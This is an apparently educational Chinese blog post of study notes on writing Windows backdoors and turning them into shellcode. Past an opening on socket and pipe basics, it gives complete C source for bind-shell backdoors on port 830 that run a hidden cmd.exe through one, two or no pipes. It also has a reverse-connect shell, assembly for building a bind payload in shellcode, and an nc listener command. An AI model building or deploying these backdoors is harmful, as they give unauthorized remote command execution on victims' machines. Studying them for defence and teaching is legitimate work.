三、后门的编写和 ShellCode 的提取

第三章、后门的编写和 ShellCode 的提取

(一)IP 和 Socket 编程初步

NOTES:
1.Windows 下网络通信编程的几种方式
第一种是基于 NetBIOS 的网络编程,这种方法在小型局域网环境下的实时通信有很高的效率;
第二种是基于 Winsock 的网络编程;这种方法使用一套简单的 Windows API 函数来实现应用层上的编程;
第三种是直接网络编程;比如 Winpcap、libnet 等网络数据包构造技术可以完成链路层或网络层上的网络
编程;
第四种是基于物理设备的网络编程,即 MAC 层编程接口
2.IPv6 采用 128 位数字,所以地址的范围可以看作是无限的;
3.使用 NAT(Network Address Translation)——网络地址转换,允许内部网络上的多台 PC(使用内部地址段,如 10.0.x.x、192.168.x.x、172.x.x.x)共享单个、全局路由的 IPv4 地址
4.对每一个通信,除了 IP 地址外,还用一个标识符 Socket 来标明每个通信程序(进程)

5.Socket 其实就是一个整数,它标识了计算机上不同的通信端点。程序在通信前首先建立一个套接字,以后对设置 IP、端口和传输数据,都通过此套接字来进行
6.端口:TCP/IP 协议中规定的端口,范围从 0 到 65535。它可以标志某种服务,比如网页服务器一般是 80 端
口,FTP 服务器一般是 21 端口;在客户端连接中,也需要一个端口来通信,一般是比较高的动态端口号

1.使用 Socket 在两台计算机上通信的流程:

服务端首先启动,建立一个套接字 Socket,并对相应的IP 和端口进行绑定、监听;客户端也建立一个套接字,和服务端不同,它直接连接服务端监听的端口。双方建立连接后,服务端和客户端就可以互相传输数据

(1) WSAStartup:初始化 Windows Socket Dll

(2) socket:建立 Socket,返回以后会用到的 Socket 值。

(3) bind:把套接字和机器上一定的端口关联起来。

(4) listen:服务端监听一个端口,直到 accept()。在发生错误时返回-1。

(5) connect:客户端连接服务端监听的端口。

(6) accept:服务端接受客户端的连接请求,并返回一个新的套接字,以后服务端的数据传输就使用这个新的套接字。如果有错误,返回-1。

(7) send:用于流式套接字或数据报套接字的通讯,数据传输

(8) sendto,recvfrom功能和 send、recv 类似,不过是用于无连接数据报套接字的传输

(8) closesocket(int sockfd):关闭套接字。

2.实现服务端监听某个端口,如果有客户端连接,就向它发一字符串,客户端收到后,在屏幕上打出来。

A.服务端的程序:
(1)流程:
socket()→bind()→listen→accept()→recv()/send()→closesocket()

(2)流程概括:
先是初始化 Windows Socket Dll: WSAStartup(MAKEWORD(2,2),&ws);
然后建立 Socket: sockfd = socket(AF_INET, SOCK_STREAM, 0)
再 bind 本机的 MYPORT 端口:
my_addr.sin_family = AF_INET; /* 协议类型是 INET /
my_addr.sin_port = htons(MYPORT); /
绑定 MYPORT 端口 /
my_addr.sin_addr.s_addr = INADDR_ANY; /
本机 IP */
bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))
接下来监听端口: listen(sockfd, BACKLOG)
如果有客户端的连接请求,接收它: new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)
new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)
最后发送 ww0830 字符串过去: send(new_fd, "ww0830\n", 14, 0)
收尾工作,关闭 socket: closesocket(sockfd); closesocket(new_fd); ”

(3)代码:
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"Ws2_32")
#define MYPORT 830 /定义用户连接端口/
#define BACKLOG 10 /多少等待连接控制/
int main()
{
int sockfd, new_fd; /定义套接字/
struct sockaddr_in my_addr; /本地地址信息 /
struct sockaddr_in their_addr; /
连接者地址信息
/
int sin_size;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws); //初始化 Windows Socket Dll
//建立 socket
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
//如果建立 socket 失败,退出程序
printf("socket error\n");
exit(1);
}
//bind 本机的 MYPORT 端口
my_addr.sin_family = AF_INET; /* 协议类型是 INET /
my_addr.sin_port = htons(MYPORT); /
绑定 MYPORT 端口/
my_addr.sin_addr.s_addr = INADDR_ANY; /
本机 IP*/
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))== -1)
{
//bind 失败,退出程序
printf("bind error\n");
closesocket(sockfd);
exit(1);
}
//listen,监听端口
if (listen(sockfd, BACKLOG) == -1)
{
//listen 失败,退出程序
printf("listen error\n");
closesocket(sockfd);
exit(1);
}
printf("listen...");
//等待客户端连接
sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
{
printf("accept error\n");
closesocket(sockfd);
exit(1);
}
printf("\naccept!\n");
//有连接,发送 ww0830 字符串过去
if (send(new_fd, "ww0830\n", 14, 0) == -1)
{
printf("send error");
closesocket(sockfd);
closesocket(new_fd);
exit(1);
}
printf("send ok!\n");
//成功,关闭套接字
closesocket(sockfd);
closesocket(new_fd);
return 0;
}

B.客户端程序
(1)流程:
socket()→connect()→send()/recv()→closesocket()

(2)客户端程序的流程概括:
首先是初始化 Windows Socket Dll: WSAStartup(MAKEWORD(2,2),&ws);
然后建立 Socket: sockfd = socket(AF_INET, SOCK_STREAM, 0)
接着连接服务器方:
their_addr.sin_family = AF_INET; /* 协议类型是 INET /
their_addr.sin_port = htons(PORT); /
连接对方 PORT 端口 /
their_addr.sin_addr.s_addr = inet_addr(argv[1]); /
连接对方的 IP */
connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr))
连接成功就接收数据: recv(sockfd, buf, MAXDATASIZE, 0)
最后把收到的数据打印出来并关闭套接字:
printf("Received: %s",buf); closesocket(sockfd);

(3)代码:
#include <stdio.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"Ws2_32")
#define PORT 830 /* 客户机连接远程主机的端口 /
#define MAXDATASIZE 100 /
每次可以接收的最大字节 */
int main(int argc, char argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct sockaddr_in their_addr; /
对方的地址端口信息 /
if (argc != 2)
{
//需要有服务端 ip 参数
fprintf(stderr,"usage: client hostname\n");
exit(1);
}
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws); //初始化 Windows Socket Dll
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
//如果建立 socket 失败,退出程序
printf("socket error\n");
exit(1);
}
//连接对方
their_addr.sin_family = AF_INET; /
协议类型是 INET /
their_addr.sin_port = htons(PORT); /
连接对方 PORT 端口 /
their_addr.sin_addr.s_addr = inet_addr(argv[1]); /
连接对方的 IP */
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1)
{
//如果连接失败,退出程序
printf("connet error\n");
closesocket(sockfd);
exit(1);
}
//接收数据,并打印出来
if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1)
{
//接收数据失败,退出程序
printf("recv error\n");
closesocket(sockfd);
exit(1);
}
buf[numbytes] = '\0';
printf("Received: %s",buf);
closesocket(sockfd);
return 0;
}

(二)进程间通信及管道

1.为客户开创一个 cmd.exe。可以用 CreateProcess 来创建这个子进程

创建一个控制台窗口,而且不消失

#include<windows.h>
int main()
{
    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    CreateProcess(NULL, "cmd.exe /k",NULL, NULL,1,0,NULL, NULL, &si, &ProcessInformation);//‘/k’使控制台执行并保留
    return 0;
}

2.管道通信的整体流程示意图:

NOTES:
1.进程间通信(IPC)机制是指同一台计算机的不同进程之间或网络上不同计算机进程之间的通信。Windows
下的方法包括邮槽(Mailslot)、管道(Pipes)、事件(Events)、文件映射(FileMapping)等
2.管道(Pipe)是一种简单的进程间通信(IPC)机制,共享一段内存。
3.
(1)命名管道可以在同台机器的不同进程间以及不同机器上的不同进程之间进行双向通信。
(2)匿名管道,父子进程之间或者一个进程的两个子进程之间进行通信,单向,是内存中的一个独立的临时存储区,它对数据采用先进先出的方式管理,并严格按顺序操作,不能被搜索
4.管道函数
CreatePipe()函数:创建匿名管道,并返回管道的读句柄和写句柄
5.管道操作标示符是 HANDLE
6.Pipe:
(1)Pipe的共用。Windows中2 个进程如果没有“父子“关系,而且子进程又没有继承父进程资源时,让子进程由父进程启动,且在启动子进程时必须设置好继承参数即可
(2)Pipe的建立。设置好Pipe的共用后,父进程通过调用API函数CreatePipe来创建Pipe,之后再将Pipe设置成可继承的。其中,CreatePipe函数用来创建一个匿名管道,返回值为Long,非 0 表示成功,0 表示失败
(3)pipe 的写入:要将数据写入 Pipe,调用 WriteFile 函数即可;其中,WriteFile 函数将数据写入一个文件。返回值为 Long,TRUE(非 0)表示成功,否则返回 0
(4)Pipe 的读取:分两步:先调用 PeekNamedPipe 函数,用来确定 Pipe 中是否有数据,以避免数据接收
方长时间等待或处于永远等待状态;再调用 ReadFile 函数将 Pipe 中的数据读出。其中,PeekNamedPipe函数不会把 Pipe 中的数据读走,若 Pipe 中没有数据,它会正常返回,不会长时间等待,但 ReadFile 函数会长时间等待

(三)后门总体思路( Tlnet 后门程序为例)

1.ShellCode 的功能

分为主进程和子进程,主进程的功能是网络连接——传输命令和结果;
子进程的功能是执行 cmd.exe 命令

2.

(1)

(2)相互通信必须要建两个匿名管道(匿名管道是单向)

(3)攻击机发的命令通过 Socket 传给目标机的父进程
目标机的父进程又通过一个匿名管道传给子进程,这里的子进程应该是 cmd.exe,cmd.exe
执行命令后,把结果通过另一个匿名管道返给父进程
父进程最后再通过 Socket 返回给攻击机
a.只用一个匿名管道,有命令数据来,主进程以数据为参数马上新建一个 cmd.exe 进程执行,执行的结果由匿名管道返回

b.用两个匿名管道,只开一个 cmd.exe 进程。有命令来时,通过一个匿名管道传给 cmd.exe,执行结果通过另一个匿名管道返回给主进程

(四)双管道后门的实现

1.思路

初始化 Socket,然后 Bind 端口,再监听 Listen,直到有客户请求, Accept 请求

2.源码

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
    WSADATA ws;
    SOCKET listenFD;
    char Buff[1024];
    int ret;
    //初始化 wsa
    WSAStartup(MAKEWORD(2,2),&ws);
    //建立 Socket
    listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    //监听本机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr=ADDR_ANY;
    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
    ret=listen(listenFD,2);
    //如果客户请求 830 端口,接受连接
    int iAddrSize = sizeof(server);
    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
    SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    //建立匿名管道 1
    pipeattr1.nLength = 12;
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
    //建立匿名管道 2
    pipeattr2.nLength = 12;
    pipeattr2.lpSecurityDescriptor = 0;
    pipeattr2.bInheritHandle = true;
    CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[] = "cmd.exe";
    PROCESS_INFORMATION ProcessInformation;
    //建立进程
    ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
    /*
    解释一下,这段代码创建了一个 cmd.exe,把 cmd.exe 的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe 的标准输入用第二个管道的读句柄替换。
    如下:
    (远程主机)←输入←管道 1 输出←管道 1 输入←输出(cmd.exe 子进程)
    (远程主机)→输出→管道 2 输入→管道 2 输出→输入(cmd.exe 子进程)
    */
    unsigned long lBytesRead;
    while(1)
    {
    //检查管道 1,即 CMD 进程是否有输出
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
    if(lBytesRead)
    {
    //管道 1 有输出,读出结果发给远程客户机
    ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
    if(!ret) break;
    ret=send(clientFD,Buff,lBytesRead,0);
    if(ret<=0) break;
    }
    else
    {
    //否则,接收远程客户机的命令
    lBytesRead=recv(clientFD,Buff,1024,0);
    if(lBytesRead<=0) break;
    //将命令写入管道 2,即传给 cmd 进程
    ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
    if(!ret) break;
    }
    }
    return 0;
    }

NOTES:
1.设置 CMD 子进程启动参数‘si’,替换进程的输出句柄为管道 1 的写句柄,输入句柄为管道 2 的读句柄:

si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
2.开启 CMD 命令
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)

(五)单管道后门的实现

1.建一个管道,然后将 CMD 子进程的输出句柄用管道的写句柄替换

CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
si.hStdOutput = si.hStdError = hWritePipe1;

2.源码

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
    WSADATA ws;
    SOCKET listenFD;
    char Buff[1024];
    int ret;
    //初始化 wsa
    WSAStartup(MAKEWORD(2,2),&ws);
    //建立 socket
    listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    //监听本机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr=ADDR_ANY;
    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
    ret=listen(listenFD,2);
    //如果客户请求 830 端口,接受连接
    int iAddrSize = sizeof(server);
    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
    SECURITY_ATTRIBUTES pipeattr1;
    HANDLE hReadPipe1,hWritePipe1;
    //建立匿名管道 1
    pipeattr1.nLength = 12;
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    //si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    PROCESS_INFORMATION ProcessInformation;
    char cmdLine[200];
    unsigned long lBytesRead;
    /*以命令为参数运行 cmd.exe
    (远程主机→传送命令-→以命令为参数建立 cmd.exe 子进程运行
    (远程主机)←输入→管道 1 输出→管道 1 输入→输出(cmd.exe 子进程)
    */
    while(1)
    {
    //检查管道 1,即 cmd 进程是否有输出
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
    if(lBytesRead)
    {
    //管道 1 有输出,读出结果发给远程客户机
    ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
    if(!ret) break;
    ret=send(clientFD,Buff,lBytesRead,0);
    if(ret<=0) break;
    }
    else
    {
    //否则,接收远程客户机的命令
    lBytesRead=recv(clientFD,Buff,1024,0);
    if(lBytesRead<=0) break;
    strcpy(cmdLine, "cmd.exe /c"); //cd\ & dir
    strncat(cmdLine, Buff, lBytesRead); //buff的lBytesRead长的字符串copy给cmdline
    //以命令为参数,合成后启动 CMD 执行
    CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
    }
    }
    return 0;
    }

NOTES:
1.cmd /?:查询cmd命令助手;DOS 下,‘&’可以把几个命令合起来

(五)生成shellcode

1.转换成汇编

bind语句实现:
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server))
(1)sizeof(server):语言执行这句时,首先入栈的值
(2)&server:是 sockaddr 结构的地址
在 sockaddr 结构中,包括了绑定的协议、IP、端口号等。和在堆栈中构造字符串一样,我们也在栈中构造出 sockaddr 的结构,那么 esp 就是 sockaddr 结构的地址
内存窗口中输入 server查看 server 的值
esp 就正好是结构的地址
socket:上面执行了 socket( )后,我们把 socket 的值保存在了 ebx 中,所以将 ebx 压入
结果如下:
;bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi //先构造 server
push edi
push edi
mov eax,0x3E030002
push eax ; port 830 AF_INET
mov esi, esp //把 server 地址赋给 esi
push 0x10 ; length
push esi ; &server
push ebx ; socket
call [ebp + 36] ; bind

2.验证 ShellCode 功能的方法

方法一:在 main 中添上( (void(*)(void)) &ShellCode)():执行 ShellCode 数组里的那些数据
方法二,在 main 里面直接嵌入汇编语句 lea eax,ShellCode, call eax :先把 ShellCode 的地址给 eax,然后 call eax 跳到 ShellCode 里面去执行
__asm
{
lea eax, ShellCode
call eax
}

(六)零管道后门--不用新建管道

1.用 Socket 句柄直接替代 CMD 进程的输入和输出句柄

si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
Tips:要用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, 0, 0) 来建立 Socket 才能像这样替换( WSASocket()创建的 Socket 默认是非重叠套接字,这样才可以直接将 cmd.exe 的 stdin、stdout、stderr 转向到套接字。而 socket()函数创建的 Socket 是重叠套接字)

2.源码:

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
    WSADATA ws;
    SOCKET listenFD;
    int ret;
    //初始化 wsa
    WSAStartup(MAKEWORD(2,2),&ws);
    //注意要用 WSASocket
    listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    //监听本机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr=ADDR_ANY;
    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
    ret=listen(listenFD,2);
    //如果客户请求 830 端口,接受连接
    int iAddrSize = sizeof(server);
    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
    char cmdLine[] = "cmd.exe";
    PROCESS_INFORMATION ProcessInformation;
    //建立进程
    ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
    return 0;
    }

Tips:想预先处理一下用户的命令,就需要用双管道或单管道的方法

3.正向连接和反向连接

反向连接是把攻击机作为服务端,监听一个端口;而目标机上运行的 ShellCode 的功能是主动连接攻击机监听的端口
  ![](https://images2018.cnblogs.com/blog/1454033/201808/1454033-20180814232251127-1189042809.png)

Tips:
(1)ShellCode 的功能是作为客户端,主动连接我们攻击机的一个端口.
(2)剩下的传输命令、执行命令,返回结果和前面类似。
(3)攻击机上用NC 开端口程序,nc -l -p port

(六)反连后门 ShellCode 的编写

1.ShellCode 是客户端,流程:

socket()→connet(攻击机 ip,端口)→send/recv()→closesocket()

实现:

#include <winsock2.h>
    #include <stdio.h>
    #pragma comment(lib,"Ws2_32")
    int main()
    {
            WSADATA ws;
            SOCKET s;
            int ret;
            //初始化 wsa
            WSAStartup(MAKEWORD(2,2),&ws);
            //建立 Socket
            s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
            //连接对方 830 端口
            server.sin_family = AF_INET;
            server.sin_port = htons(830);
            server.sin_addr.s_addr=inet_addr("127.0.0.1");
            //反向连接!
             connect(s,(struct sockaddr *)&server,sizeof(server) );
            STARTUPINFO si;
            ZeroMemory(&si,sizeof(si));
            si.cb = sizeof(si);
            si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
            si.wShowWindow = SW_HIDE;
            //CMD 的输入输出句柄,都用 Socket 来替换
            si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
            char cmdLine[] = "cmd.exe";
            PROCESS_INFORMATION ProcessInformation;
            //建立进程
            ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
            return 0;
            }

NOTES:
1.Ipv4 最大的缺点就是能分配的 IP 资源不足。除此之外,Ipv4 还存在一些安全上的缺陷,比如不鉴别源端的合法性等
2. 单管道的实现,是一收到字符就执行,Telnet 的设计目的是最大限度的减少时延。所以它遵循的是用户刚输入字符就马上传送。这样dir 命令就被分为 d、i、r 分别发送了。、

posted on 2018-08-14 23:24  bala0toh  阅读(709)  评论(0编辑  收藏  举报

导航